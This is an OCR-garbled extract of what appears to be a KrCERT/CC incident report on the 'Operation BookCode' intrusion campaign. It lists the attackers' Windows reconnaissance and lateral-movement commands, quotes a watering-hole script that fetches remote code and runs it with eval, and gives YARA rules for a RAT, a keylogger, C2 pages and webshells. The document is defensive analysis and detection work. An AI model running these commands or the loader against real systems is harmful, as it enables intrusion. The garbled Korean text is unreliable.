ot BEO| 0f2{Q02 Ct2 K XESH S X

CIE|NAIGHLH= AVE]
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System Time Discovery : A|AE! A|

X AIAEIS AIZtS EHATICE

time /t

- oi3 9 metojg SL|ER

Security Software Discovery : A|AEI0| MX|E| 2Ot AT EQ0| EbM

AZEQIOIS SHABICE

SAXE WMI(RIER 22| =3)E 0|835t0f HX|E &EoF

U AHO|A : rootWSecurityCenter2
#Hz2| : Select * From AntivirusProduct
£4 : displayName

ARIR| 2 AL By

- AAHOIN WMIS
- A MK 9 M X el

asm OI0IE|LIKIS Sy

CIE|NAIGHLH= AVE]
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Query Registry : X|AEZ2| X3

OFYICEE Mo MH|AHOZ MX|BD| 2ol 7|& MH|A SE2ED} netsves JEQ| MH|A 22Z AT
HAAER X3 A2
HKLMWSYSTEMWCurrentControlSet¥Services, [AMH|AH]
HKLMWSOFTWAREWMicrosoft#wWindows NT¥WCurrentVersion¥Svchost, netsvcs
e Tzf
- A MK gl AAZE §X| 2t
(6] Process Discovery : I2A|A EtM
HXE HXAERZ| Y AYIACI YYHOE SEEJEX] &S| e Z2MA S2ES X 3(THCH

maiAct BT AHIA BN B

cmd.exe /c "tasklist /svc ) "%s" 2)&1" edg173F.tmp

0
0
bz
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System Owner/User Discovery : A|AEl ASXH/QX KB EfAM

S BAL HASID Y AAHO

d B FHof
cmd.exe /c "whoami ) "%s" 2)&1" edg173F.tmp
g Mef
- HY S ooy 2LEY

System Information Discovery : A|A®! HE EMM

A BHXL FASID U AAHel YuS LT
AAH HE B ol

cmd.exe /c "systeminfo ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "hostname ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "ver ) "%s" 2)&1" edg173F.tmp

CIE|NAIGHLH= AVE]
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System Network Configuration Discovery : LHIEQI3 A 9 MY MY EbM
A SAXE LS U= AIAE-S HERR 1d HEE TSI
HEQT 74 U 4% Y2 YA FYo|
cmd.exe /c “ipconfig /all ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "arp —a ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "C:WWindows#WSystem32Winetsrvitappcmd.exe list site ) "%s" 2)&1" edg173F.tmp
(228 FO0I Ol S5 EA)
e T2

- BY 9 metole 2LEHY
Account Discovery : A& AE EHM
A ARl MM AY =2 o AY HM g JEE Tt

AEEE & 23 HHo

cmd.exe /c "net user ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "net user Administrator ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "query user Administrator ) "%s" 2)&1" edg173F.tmp
e T2
- ¥y o oefole 2UEHY
h CIEINAIGHLHEAVE]
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Remote System Discovery : HEQ|3 L Ct= A|AEl ERM
T2 HERIQ Ct2 AAH”H S2Z 4A6HC
YESIT B4 Hof
cmd.exe /c "net view ) "%s" 2)&1" edg173F.tmp
g Tef
- ¥y 9 oetolg 2L EH
System Service Discovery : A|AEIO| EX{sH= AMH|A HE EHY
ST A|ARIO| HX|El MU AL MN FEE fTstct
MHIA AN B S Fo]
cmd.exe /c "sc query nwsapagent ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "sc query w3svc ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "sc queryex w3svc ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "sc query [AMH|A H] ) "%s" 2)&1" edg173F.tmp
g Tef
- BWY 9 metole 2LEHY
CIE|NAIGHLH= AVE]
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System Network Connections Discovery : HEQIA

33

S AlARO| HESD

of =

024 AI-EH ol

SEH 8 MM

—

HEYT 9Z AE U AN HE B Hof

cmd.exe /c "netstat -ano | find “ESTA” ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "netstat -ano | find “LIST” ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "query session ) "%s" 2)&1" edg173F.tmp

b
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Lateral Movement : AJAHE! LHY O

Windows Admin Shares : 2IE2X 2|2 28 J|s

ZHE AABIS SOl 83t LR JEE S 22 HEHIS CHE AARC=Z O|F3lC;
CIE A|AH H& Al HHO
- amd.exe /c "net use WW[EFX! AJARL P E= TN [HIHS] /u:[ARE] ) "%s" 2)&1" edg173F.tmp
g et
- 2t A|AE M2 MZ CH2 H|YUHS AR
- AN Z2|R AN HS =X
- 220t Z2, 72 35 4% oA
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Get System OS bit Ver
Step 3 Read Malware
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SCHel bl Fokst ¢ E2t2X0|HA 0|0] 3HE FAHS 0|26t?| ez FFHEC

QEZE 3AL2 400 AN %S AN AHICI CIRIE El= 2O 2 QIL|QUCt 2F e odgh gl URL2
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[E 4-2] 26 & 22 28
A 74 2r &5 A= URL
1 A0 O|4 2EE & AIO|E {&% |http://www. [H4AL0|E].com

[HHAI0|E] 2] . i
2 sz ool Ho[X| IP 43 2 ZICHO|HE |https://[HAAOIE2].com/product/sublist3.asp? id=9876

[BEAOIE2] MEo URL &3 ¥
. 74 . Q id=
3 M35 obMTC 27 obMaC Cpezc https://www. [SZZFAH].com:443/uploads/index.asp? id=9876
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QIE{2) = Z2o| ofRE HA AO|EL Ofzfier 20| HQ WO|X] i KHIAIRE MU0 HEE O ofN ATED}
HUEIgich 22 Sl 3t ofy AIYELS £ 39X {Yolct,

[E 4-3] HE = HoIX| 3

HZ AATC

Y £ 0|3 /Y

~ xmlHttp = new XMLHttpRequest
~ URL = "https://www I n:in.asp”
~ paramPost = ”pagez-&signKew:starter‘"_;

~ returnScript = "", newScript=

xmlHttp.open("POST", URL ,true);
xmlHttp.setRequestHeader("Content-Type"”, "application/x-www-form-urlencoded");

(_5r_7|. ﬁ—:’-EE %I%) xmlHttp.onreadystatechange = nction(){

if(this.readyState === XMLHttpRequest DONE && this.status === 200){
returnScript = xmlHttp.responseText;

eval(returnScript);

}

}
xmlHttp.send(paramPost);

#ElE 2 WOl 2 2

(IPEZ % 2ictol

1 ip

ip = Request.ServerVariables("HTTP_CLIENT_IP")
If ip = "" Then

ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")

If ip = "" Then

ip = Request.ServerVariables("REMOTE_ADDR")

End If

End If

If MD5(Left(ip, 10)) = "9892 - 1fc7" Or

MD5(Left(ip, 11)) = "b3a4fl

MD5 (Left(ip, 11)) = "8F2277 cl1 or

MD5(Left(ip, 12)) = "539a85 86add1" Or
MD5(Left(ip, 9)) = "69d16280118 pas" Then
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{v0d5bN=unescape( '%2¢
</script>
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rule Operation_BookCode_RAT_Dropper

{
meta:
strings:
condition:
}

rule Operation_BookC

{

author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"

info = "Operation BookCode RAT Dropper"
contact = "hypen@krcert.or.kr"

ver = "1.0"

hash1 = "9F0690AD9B19283AA57149D122B2602C"
hash2 = "45A9BCA774C28F6156A979DDF80CID5C"

$parameter = { 2D 00 67 00 00 [5-15] 2D 00 73 00 00 }

$string1 = "ServiceDIl" fullword nocase wide
$string2 = "To Puton Config" fullword nocase wide

$filel = { 43 32 54 30 45 36 53 34 02 3A '}
$file2 = { C6 45 ?? 43 C6 45 ?? 32 C6 45?7 32 C6 45?7 54 C6 45 77 30 }

uint16(0) == 0x5A4D and filesize ( 3MB
and $parameter

and 1 of ($string*)

and 1 of ($filex)

ode_RAT_Injector

meta:
author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"
info = "Operation BookCode RAT Injector”
contact = "hypen@krcert.or.kr"
ver = "1.0"
hash1 = "D76177A76F8E6484519B5B4A9BEST1FFA"

strings:
$keyl = { 31 71 61 7A 32 77 73 78 33 65 }
$string1 = "service_dll.log" fullword nocase ascii
$string2 = "DecFile.dll" fullword nocase ascii
$decode_stringl = { C6 45 7?7 43 C6 45 ?? 32 C6 45?7 32 C6 45?7 54 C6 45?7 30}
$decode_string2 = { 8A 74 0D ?? [0-3] 32 C1 34 [0-3] 88 84 0D ?? ?? FF FF 41 83 F9 ?? 7C E8 }

condition:
uint16(0) == 0x5A4D and filesize { 300KB
and $key1
and 1 of ($stringx)
and 1 of ($decode_string*)

}
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rule Operation_BookCode_RAT
{
meta:
author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"
info = "Operation BookCode RAT"
contact = "hypen@krcert.or.kr"
ver = "1.1"

"EC8CDF41C32A6D8CC5A4A468637AFE74"
hash2 = "1E38EC5BC660A7BDB229DCA8F10D77FF"
hash3 = "AB577FBED12D8584D701AF4268426A08"
hash5 = "4350AA8B8305B905D29022DFBFC01C0OD"

hash1

strings:
$string_decode_64 = { 42 OF B6 4?7 ?? ?? [5-7] FF C2 [2-3] 42 88 87 05 ?? 0? 00 00 83 FA ?? }
$query_decode_64 = { 4? 8B 07 88 14 01 4? 8B ?? [0-2] OF B6 ?? (08]09) 4? OF B6 ?? ?? [0-2] OF B6 4? (08]|09)
42 OF B6 }

$string_decode_32 = { 8A 74 0D ?? [0-3] 32 C1 34 [0-3] 88 84 0D ?? ?? FF FF 41 83 F9 ?? 7C E8 }
$query_decode_32 = { 8B 0? 88 14 01 8B ?? OF B6 4? 04 OF B6 ?? ?? OF B6 4? 05 [0-1] OF B6 }

$command = { ?? 46 36 85 97 [10-25] ?? 47 36 85 97 }

$stringT = "msgid=Communication” fullword nocase ascii
$string2 = "msgid=Saves" fullword nocase ascii

$string3 = "msgid=Savec" fullword nocase ascii

$string4 = "msgid=Load" fullword nocase ascii

$string5 = "msgid=Read" fullword nocase ascii

$string6 = "msgid=Information"” fullword nocase ascii
$string7 = "msgid=Restore” fullword nocase ascii
$string8 = "bookcodes” fullword nocase ascii

$string9 = "server_dll.log" fullword nocase ascii

condition:
(uint16(0) == 0x5A4D and filesize { 2MB and
(( $string_decode_64 and $query_decode_64 ) or ( $string_decode_32 and $query_decode_32 )) )
or (uint16(0) == 0x5A4D and filesize { 400KB
and ( $command and 4 of ($string*) ))
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rule Operation_BookCode_Downloader

{

meta:

author = "KrCERT/CC Profound Analysis Team"

date = "2020-06-22"

info = "Operation BookCode Downloader"

contact = "hypen@krcert.or.kr"

ver = "1.0"

hash1 = "768981952282A1D0BC3C585916C42D44" // x86 Downloader

hash2 = "DOE71A2C1259A72C1DCCB58651140D01" // x64 Downloader (corrupted)
strings:

$parameter1 = "%s %s" fullword nocase wide
$parameter2 = "%s" fullword nocase wide

$encode_table1 = "0123456789abcdefghijklmnopgrstuvwxyzABCDEFGHIUIKLMNOPQRSTUVWXYZ/:." fullword nocase ascii
$encode_table2 = "xmSub7GMQYhfiOkp.coDONE8W2vV/HENZIe3LKUqgsyzaCljwAg9F4PtJdrTRBX1:5" fullword nocase ascii

$json_format1 = "W'%cW" W %sW" fullword nocase ascii

$json_format2 = "{%s,W"%sW" " fullword nocase ascii

$encrypt_table = { C7 45 ?? 2C FC FF FF C7 45 ?? 48 8B 4C 24 C7 45 ?? 40 48 89 41 C7 45 ?? 18 BA 46 1E C7
45 ?? 55 45 8B 4C C7 45 ?? 24 20 E8 15 C7 45 ?? FC FF FF 48 C7 45 ?7? 8B 4C 24 40 }

condition:
uint16(0) == 0x5A4D and filesize { 100KB
and ( all of ($parameter*) and $encrypt_table )
and ( all of ($encode_table*) and all of ($json_format*) )
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At22l =31 YARA Rule

import "pe"

rule Operation_BookCode_DLLInjector
{
meta:
author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"
info = "Operation BookCode DLLInjector"
contact = "hypen@krcert.or.kr"
ver = "1.0"

hash1 = "9B8C1FDOE62A52CFF1E9B67E16AC4833" // x64
strings:

$string = "using PID, dllpath” fullword nocase ascii
$string2 = "Success" fullword nocase ascii

$string3 = "Fail” fullword nocase ascii

$stringd = "%08X" fullword nocase ascii

$string5 = "RtiCreateUserThread” fullword nocase ascii

condition:
uint16(0) == Ox5A4D and filesize { 150KB
and ( all of ($string*) )
and pe.imphash() == "33de87c5c62a65aef22377f6ebb911bb"

rule Operation_BookCode_ProxyTool

{
meta:
author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"
info = "Operation BookCode Proxy Tool"
contact = "hypen@krcert.or.kr"
ver = "1.0"
hash1 = "F3CF85BA669A2CBF20FA77978E121A8A" // x64
strings:

$string = "C:wWWindowsWWTemp#WWMpMoninst.log” fullword nocase ascii

$string2 = "(html)<head)(title)404 Not Found({/title){/head){body){h1)Not Found{/h1){p)The requested URL was not found
on this server.{/p){/body){/html)" fullword nocase ascii

$string3 = "(html)<{head)(title)503 Service Unavailable(/title){/head){body)<{h1)Service Unavailable{/h1){p)The requested
service was terminated on this server.{/p){/body){/html)" fullword nocase ascii

$functions = { C7 27 [1-4] 48 74 74 70 C7 ?? [1-4] 49 6E 69 74 C7 ?? [1-4] 69 61 6C 69 [0-1] C7 ?? [1-2] 7A
65} // "Httplnitialize"

$functions2 = { C7 27 [1-4] 48 74 74 70 C7 ?? [1-4] 43 72 65 61 C7 ?? [1-4] 74 65 53 65 C7 ?? [1-4] 72 76 65
72 C7 ?? [1-4] 53 65 73 73 } // "HttpCreateServerSession"

$functions3 = { C7 ?? [1-4] 48 74 74 70 C7 ?? [1-4] 43 72 65 61 C7 ?? [1-4] 74 65 55 72 C7 ?? [1-4] 6C 47 72
6F [0-1] C7 ?? [1-2] 75 70 } // "HttpCreateUrlGroup"

$functions4 = { C7 ?? [1-4] 48 74 74 70 C7 ?? [1-4] 41 64 64 55 C7 ?? [1-4] 72 6C 54 6F C7 ?? [1-4] 55 72 6C
47 C7 ?? [1-4] 72 6F 75 70 } // "HttpAddUrIToUrlGroup"
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$functions5 = { C7 ?? [1-4] 48 74 74 70 C7 ?? [1-4] 43 72 65 61 C7 ?? [1-4] 74 65 52 65 C7 ?? [1-4] 71 75 65
73 C7 ?? [1-4] 74 51 75 65 [0-1] C7 ?? [1-4] 75 65} // "HttpCreateRequestQueue”

$functions6 = { C7 ?? [1-4] 48 74 74 70 C7 ?? [1-4] 53 65 74 55 C7 ?? [1-4] 72 6C 47 72 C7 ?? [1-4] 6F 75 70
50 C7 27 [1-4] 72 6F 70 65 C7 22 [1-4] 72 74 79 00 } // "HttpSetUrlGroupProperty”

$verify = "index.asp? %s" fullword nocase ascii

$verify2 = "id=0" fullword nocase ascii

$verify3 = "register.asp” fullword nocase ascii

$verify4d = "login.asp? userid=%s" fullword nocase ascii
$verify5 = "welcome.asp? userid=%s" fullword nocase ascii
$verify6 = "blogview.asp? userid=%s" fullword nocase ascii

$decode = { 80 74 04 27 ?? 80 74 04 7?7 ?? 48 83 CO 02 48 ?? 00 01 00 00 7C EA } // xor OxB5 or 0xD9

condition:
uint16(0) == 0x5A4D and filesize { 200KB
and ( 2 of ($string*) )
and ( all of ($functions*) )
and ( 3 of ($verifyx) )
and $decode
or pe.imphash() == "6fd8a27de05671a7c7369e3220d9f8a7"

rule Operation_BookCode_Keylogger
{
meta:
author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"
description = "Operation BookCode Keylogger"
contact = "hypen@krcert.or.kr"
ver = "1.0"

hash1 "b105912fbd3f02063af4a7875a0efd13"
hash2 = "e1fddb1caf4793ca477f83410868d6da"

strings:
$str_encode = { OF B6 04 32 48 FF C2 34 68 04 18 88 44 32 FF 48 3B D3 7C EC }

$string1 = "[%d.%02d.%02d %02d:%02d:%02d]" fullword ascii

$string2 = "msvcrt000.xml" fullword ascii

$string3 = "nsvcrl001.xml" fullword ascii

$string4 = "DomainName:%s UserName:%s SessionID:%d" fullword ascii

condition:
(uint16(0) == 0x5A4D and filesize { 100KB
and ($str_encode)
and 2 of ($string*) )
or pe.imphash() == "9d59262ce45a7146ed25b0327b4f17fd"
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C2 HO|X] YARA Rule

rule Operation_BookCode_C2page : ASP_C2Pages

{

meta:

author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"

description = "Operation BookCode C2pages”
contact = "hypen@krcert.or.kr"

ver = "1.1"

strings:
$C2page_str1
$C2pagel_str2
$C2pagel_str3
$C2pagel_strd
$C2pagel_str5
$C2pagel_str6
$C2pagel_str7

$C2page_logfil
$C2page_logfil

$C2page2_str1
$C2page2_str2
$C2page2_str3
$C2page2_str4

$C2page2_logfil
$C2page2_logfil

$C2page3_str1
$C2page3_str2

$C2paged_str1
$C2paged_str2
$C2paged_str3
$C2paged_strd
$C2paged_str5
$C2paged_str6
$C2paged_str7

$C2page4_logfil
$C2page4_logfil

$Midpage_str1
$Midpage_str2
$Midpage_str3
$Midpage_str4
$Midpage_str5
$Midpage_str6
$Midpage_str7
$Midpage_str8

= "bookcodes:200" fullword nocase ascii

= "bookcodes:300" fullword nocase ascii
= "bookcodes:400" fullword nocase ascii
= "bookcodes:500" fullword nocase ascii

= "SetPConfigInfo" fullword nocase ascii
= "DownlLoadC" fullword nocase ascii
= "DownLoadS" fullword nocase ascii

e = "config.dat” fullword nocase ascii
e2 = "_ICEBIRDO07.dat" fullword nocase ascii

= "Connect" fullword nocase ascii
= "SetConfig" fullword nocase ascii

= "FileDown" fullword nocase ascii

= "UploadSave" fullword nocase ascii

e = "cover_img08.gif" fullword nocase ascii
e2 = ‘button_array301.gif" fullword nocase ascii

= "xmSub7GMQYhfiOkp.coDONE8W2vV/H6NZle3LKUqgsyzaCljwAg9F4PtJdrTRBX1:5" fullword nocase ascii
= "RedirEct param:" fullword nocase ascii

= "(IDOCTYPE HTML PUBLIC Authentication En);" fullword nocase ascii
= "Pause(int(rnd() * 1000))"

= "MidRequest"

= "ProxyCheck”

= "ClientHello"

= "ProxyLog"

= "Alive”

e = "/button3.gif" fullword nocase ascii
e2 = "/button509.gif" fullword nocase ascii

= "gnaboard” fullword nocase ascii

= "serverconnect” fullword nocase ascii
= "freeboard" fullword nocase ascii

= "relayconnect” fullword nocase ascii

= "bookcodes:200" fullword nocase ascii
= "bookcodes:400" fullword nocase ascii
= "bookcodes:600" fullword nocase ascii
= "&W"[] ((W'&" nocase ascii

$Midpage_logfile = "~XMLSTATUS1FF30.tmp" fullword nocase ascii
$Midpage_logfile2 = "~XMLSTATUS1FF32.tmp" fullword nocase ascii

//$vbscript_encode = "(%@language=VBScript.Encode%){%#@" fullword nocase ascii
/] 9 A 2 C2m[0|A|E2 vbscript.encodeZ Y= AATF QIAGE|0] ZHAMO| OHE! £ QIELICEH
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condition:
(5 of ($C2pagel*))
or ( all of ($C2page2_str+) and 1 of ($C2page2_logfile*) )
or ( all of ($C2page3_strx) )
or (all of ($C2page4_str*) and 1 of ($C2page4_logfilex) )
or ( 5 of ($Midpage*) )
//or ($vbscript_encode) // (- =M

CIE| N AIGHLH= AVE]

S




ret
H
re
mn
=
r
oot
rio

76

24 YARA Rule

import "hash”

rule Operation_BookCode_Venus_WebShell : Venus_ASP_WebShell

{

meta:
author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"
description = "Operation BookCode Venus-WebShell"
contact = "hypen@krcert.or.kr"
ver = "1.0"

strings:
$string1 = "Const enc_key = W"20dcc50#™ fullword nocase ascii
$string2 = "strPwd = enc_key" fullword nocase ascii
$string3 = "ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopgrstuvwxyz0123456789+/" fullword nocase ascii
$stringd = "(h2)Input Password.{/h2)" fullword nocase ascii
$string5 = "C:WWWindows¥WWsystem32Wcmd.exe” fullword nocase ascii
$string6 = "j = (j + slil + key.charCodeAt(i % key.length)) % 256" fullword nocase ascii
$string7 = "var enc_key = 'W' & enc_key & W";" fullword nocase ascii

condition:
( filesize { 75KB
and 4 of them )
or hash.md5(0, filesize) == "29fce0c374517cddd66be394c6805ecd”

}

rule Operation_BookCode_Hunters_WebShell : Code_Hunters_ASP_WebShell

{

meta:
author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"
description = "Operation BookCode Code-Hunters-WebShell"
contact = "hypen@krcert.or.kr"
ver = "1.0"

strings:

$string1 = (title)Code Hunters Shell{/title)"
$string2 = "Select Case islem" nocase ascii

$string3 = "?islem=CreateFile" nocase ascii
$stringd = "?islem=FolderMove" nocase ascii
$string5 = "?islem=FolderCopy" nocase ascii
$string6 = "?islem=FolderDelete’ nocase ascii
$string7 = "?islem=FileRename" nocase ascii
$string8 = "?islem=indir" nocase ascii

$string9 = "Case W'git¥w" nocase ascii
$string10 = "Case W'Drivers®" nocase ascii

$string11 = "Case W'ReadW" nocase ascii
$string12 = "Case W'FileRenameW" nocase ascii

$string13 = "Case W'EditW" nocase ascii
$string14 = "Case 'FolderRenameW" nocase ascii

$string15 = "Case W'FolderMoveW" nocase ascii

$string16 = "Case W 'FolderCopy#" nocase ascii

$string17 = "Case WW'FileCopyW" nocase ascii

$string18 = "Case W'FileMoveW" nocase ascii

$string19 = "Case W'FolderDeleteW" nocase ascii
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$string20 = "BinaryStream.SaveToFile Path&WW" Wt &Right (Url, (len(Url)-instrrev (Url,#"/%"))), 2" nocase ascii

condition:
( filesize { 30KB
and 10 of them )
or hash.md5(0, filesize) == "e84ad76f04db2bccbab374b60c0ab349"

rule Operation_BookCode_WSO_WebShell : WSO_PHP_WebShell

{
meta:
author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"
description = "Operation BookCode WSO-WebShell"
contact = "hypen@krcert.or.kr"
ver = "1.0"
strings:
$stringl = "(? php"
$string2 = "eval (W'? )" fullword nocase ascii
$string3 = "gzuncompress(base64_decode (#'e)zIvVWtXG8cSKPr" nocase ascii
condition:
( filesize { 30KB
and all of them )
or hash.md5(0, filesize) == "3cd5fcObac4405e39bd89f4bae478d2a"
}

rule Operation_BookCode_RedHat_WebShell : Redhat_ASP_WebShell

{
meta:
author = "KrCERT/CC Profound Analysis Team"
date = "2020-06-22"
description = "Operation BookCode RedHat-WebShell"
contact = "hypen@krcert.or.kr"
ver = "1.0"
strings:
$string1 = "const vgo="admin¥" fullword ascii
$string2 = "const nkw=W'redhatW" fullword ascii
$string3 = "const mam=¥"want_pre.asp#" fullword ascii
$stringd = "const nkw=¥'redhatW" fullword ascii
$string5 = "const pxo='redhatW" fullword ascii
$string6 = "const ydc=W"redhat hacker#" fullword ascii
$string7 = "const vtn=¥"redhat.html#" fullword ascii
$string8 = "execute yka" fullword ascii
condition:
( filesize ( 100KB
and all of them )
or hash.md5(0, filesize) == "5ff8fb17133c9a2020571d6cfedd3883"
}
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